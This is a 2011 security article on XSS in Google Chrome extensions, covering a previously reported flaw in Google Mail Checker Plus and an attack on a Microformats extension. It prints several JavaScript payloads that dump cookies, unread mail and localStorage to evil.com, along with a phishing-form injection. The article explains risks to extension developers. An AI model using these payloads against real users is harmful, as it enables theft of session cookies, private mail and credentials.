================================================================ Web application vulnerabilities in context of browser extensions ================================================================ :Authors: Taras Ivashchenko :Contact: http://oxdef.info :Date: 2011-01-16 :Copyright: This work is licensed under a `Creative Commons Attribution-Share Alike 3.0 Unported License `_ Intro ----- Current days Google Chrome web browser becomes more and more popular. It is really fast, easy-to-use and in same time powerful browser. I will not write about whole security architecture of Chrome. There is a good article about it by Larry Seltzer called "Google's Chrome Extensions Show Security Focus"[#]_. Let's focus our attention on Chrome extensions platform. Like Mozilla Firefox Chrome supports extensions or addons, which makes your web surfing with it more comfortable. What are extensions in Google Chrome browser? Extensions_ are small software programs that can modify and enhance the functionality of the Chrome browser. Developers writes them using well-know web technologies such as HTML, JavaScript (including HTML5_ features) and CSS. Using of such technologies of course makes developing ease. But what security risks they will bring to us? .. [#] "Google's Chrome Extensions Show Security Focus" by Larry Seltzer, PC Magazine, http://www.pcmag.com/article2/0,2817,2359778,00.asp .. _HTML5: http://dev.w3.org/html5/spec/Overview.html .. _Extensions: http://code.google.com/chrome/extensions/index.html XSS --- Lets look on popular (18,368 installations per week) extension called "Google Mail Checker Plus" [#]_. This extension simply displays the number of unread messages in your Gmail inbox, can make preview of mail and supports desktop notifications_. .. figure:: http://oxdef.info/papers/ext/img/google_mail_checker_plus.png Mail preview in popup of Google Mail Checker Plus On preview we can see at least subject, from and piece of body of letter. Ok, lets send to us self letter with subject like: :: 2"'> `own.js` is simple javascript demo payload: :: document.body.innerHTML = ''; img = new Image(); img.src = 'http://evil.com/stallowned.jpg'; document.body.appendChild(img); For the first we see such notification: .. figure:: http://oxdef.info/papers/ext/img/gmail_checker_xss_notificate.png XSS in Google Mail Checker Plus notification part For the second we click on extension's icon and see our worked payload in popup window: .. figure:: http://oxdef.info/papers/ext/img/gmail_checker_xss.png XSS in Google Mail Checker Plus It works! By the way this XSS has been already reported_ by Lostmon in **June 03, 2010** and fixed version of extension is available. Lostmon wrote that: "All extensions runs over his origin and no have way to altered data from extension or get sensitive data like , email account or password etc.." Let's discover this web vulnerability in context of **this** extension to understand risks. .. [#] https://chrome.google.com/extensions/detail/gffjhibehnempbkeheiccaincokdjbfe .. _reported: http://lostmon.blogspot.com/2010/06/gmail-checker-plus-chrome-extension-xss.html .. _notifications: http://www.html5rocks.com/tutorials/notifications/quick/ Cookies ~~~~~~ Authentication data stored in cookie's is popular target for XSS_ attacks. But extension scripts works in its own origin so extension can't directly access cookie by using `document.cookie` object. It needs to use special `cookies API`_ and have permissions for this purpose and for target hosts. For example (piece of manifest): :: { "name": "My extension", ... "permissions": [ "cookies", "*://*.google.com" ], ... } The risk occurs when extension have to much permissions, e.g. cookies and big number of hosts in manifest. In such case XSS vulnerability will become more dangerous because evil payload will gain access to cookies of **all** these allowed hosts using cookies API like this: :: chrome.cookies.getAll({}, function(cookies) { var dump = 'COOKIES: '; for (var i in cookies) { dump += cookies[i].domain + ':' + cookies[i].name + ':' + cookies[i].value + ' | '; } img = new Image(); img.src = 'http://evil.com/stallowned.jpg?' + dump; document.body.appendChild(img); }); .. _cookies API: http://code.google.com/chrome/extensions/cookies.html .. _XSS: http://www.owasp.org/index.php/Cross-site_Scripting_(XSS) Browser data as target and permissions ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ In previous section was described a risk when through XSS attack on extension in particular cases (special permissions must be granted) malicious man can gain access to cookies from different sites. It concerns and such things like bookmarks, history and other things which can be granted in permissions_ section of manifest file and can be accessed through chrome API! There for XSS in such extension can lead compromise user's desktop sensitive data and this risk strongly depends on how much permissions does extension have. .. _permissions: http://code.google.com/chrome/extensions/manifest.html#permissions Gmail's External content control bypass ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ It is of course not critical risk but if malicious man can execute arbitrary JavaScript code in concrete letter he can inject e.g. `IMG` tag and see that the image is being fetched. Therefore he will know when you will have read the message **even** if you have switched off displaying of external content. Message data theft ~~~~~~~~~~~~~~~~~~~ It is much worse risk! Imagine that you will receive such payload :: var dump = ''; var e = document.getElementsByTagName('a'); i=0; while(i < e.length) { if (e[i].className == 'openLink') { dump += e[i].innerText + ' | '; } i++; } img = new Image(); img.src = 'http://evil.com/sniff.jpg?' + dump; document.body.appendChild(img); Yes, this is simple code for dumping unread messages and malicious man can get your mail **private** data from `popup` HTML document: senders, subjects, pieces of message body! I see your scared look =) Extension settings leakage ~~~~~~~~~~~~~~~~~~~~~~~~~ Extensions can save sensitive data (commonly settings) using the HTML5 web storage API (such as localStorage) which is supported in Google Chrome. Yes, it is unlikely but not impossible. For example extension with bad architecture can store there some account information. Dumping such data is trivial task: :: var dump = ' LOCALSTORAGE: '; for (i = 0; i < localStorage.length; i++ ) { dump += "KEY: " + localStorage.key(i); dump += " VALUE: " + localStorage.getItem(localStorage.key(i)) + " | "; } img = new Image(); img.src = 'http://evil.com/sniff.jpg?' + dump; document.body.appendChild(img); Fishing ~~~~~~ As already I said extension can't directly access cookies data. Stealing of authentication data by XSS in such case is not so trivial but malicious man can simply use fishing technique and ask user to submit this data him self! :: var msg = 'Please, enter account information.'; msg += '
Username: '; msg += '
Password:
'; document.body.innerHTML = msg; This image looks ugly but don't forget that it simple PoC. .. figure:: http://oxdef.info/papers/ext/img/fishing.png Fishing attack vector JSON data leakage ~~~~~~~~~~~~~~~~ JSON is a lightweight data-interchange format and it is mostly used in AJAX web applications in client-server data interchange. There are at least 2 security issues: 1. Usage of `eval()` JavaScript function to parse received untrusted/not controlled JSON data. Google developers gives advance notice in Security considerations_ about this risk in developer's guide. 2. This less obvious but interesting problem called JavaScript hijacking_. If JSON(P) is used to carry sensitive data in insecure way it can lead a data leakage. In context of extension it is common as for usual AJAX web application - there is no differences. Malicious man can sniff and discover client-server data exchange of extension. And if he find insecure usage of JSON(P) he will have opportunity to attack users and steal their sensitive data. .. _hijacking: http://www.owasp.org/index.php/OWASP_AJAX_Security_Guidelines#JSON .. _considerations: http://code.google.com/chrome/extensions/xhr.html Content scripts ~~~~~~~~~~~~~~ For example, you want to change color theme of some page which you visits to your own colors. Another good example is surrounding all plain-text URLs on the page with `A` HTML tag. There is thing for such purposes called `content scripts`_. A content script is some JavaScript that executes **in the context of a page** (not extension) that's been loaded into the browser. So these content scripts can **read** and **modify** data on the page. Content scripts are very limited in chrome APIs and can't: * Use chrome.* APIs (except for parts of chrome.extension) * Use variables or functions defined by their extension's pages * Use variables or functions defined by web pages or by other content scripts * Make cross-site XMLHttpRequests But content scrips **can** communicate with parent extension by exchanging messaging_. Because content scrips can read and modify web pages we have at least 2 risks: 1. Bad coded content script can add vulnerability (e.g. XSS) to the page by modifying content of it 2. Bad page can attack extension Lets look into follow piece of HTML code (it is popular hCard_ microformat): ::
James Bond
MI-6
604-555-1234
http://example.com/
If we visit page with such demo code and have Microformats extension installed, this extension will try to parse it and show it to us: .. figure:: http://oxdef.info/papers/ext/img/microformats_xss.png Attack on Microformats extension (using content scripts) As you can see malicious code is executed. What are risks? This extension connects with your Google account by OAuth and have access to your **Google Contacts**. This simple code: :: $(".submithcard").click() will add evil contact to your Google contacts. One more interesting thing in this case is by default content scripts can only communicate with parent extension through messages and in this case we can see how evil payload can be passed from content script to popup action. In popup action we can do much more. .. _content scripts: http://code.google.com/chrome/extensions/content_scripts.html .. _messaging: http://code.google.com/chrome/extensions/messaging.html .. _hcard: http://microformats.org/wiki/hcard Outro ----- Google Chrome has really good extension's architecture and Google developers gives enough possibilities to create full-featured and secure extensions. In same time we can see very interesting thing when chosen technologies (HTML, CSS and JavaScript) brings (ok, **not technologies but unclever extension's authors**:) with them self such security problem like XSS to your desktop. And risks from XSS in such case can be much dangerous then in usual web application. So it is highly recommended to all extension's developers to read "Security considerations" sections in Developer's Guide.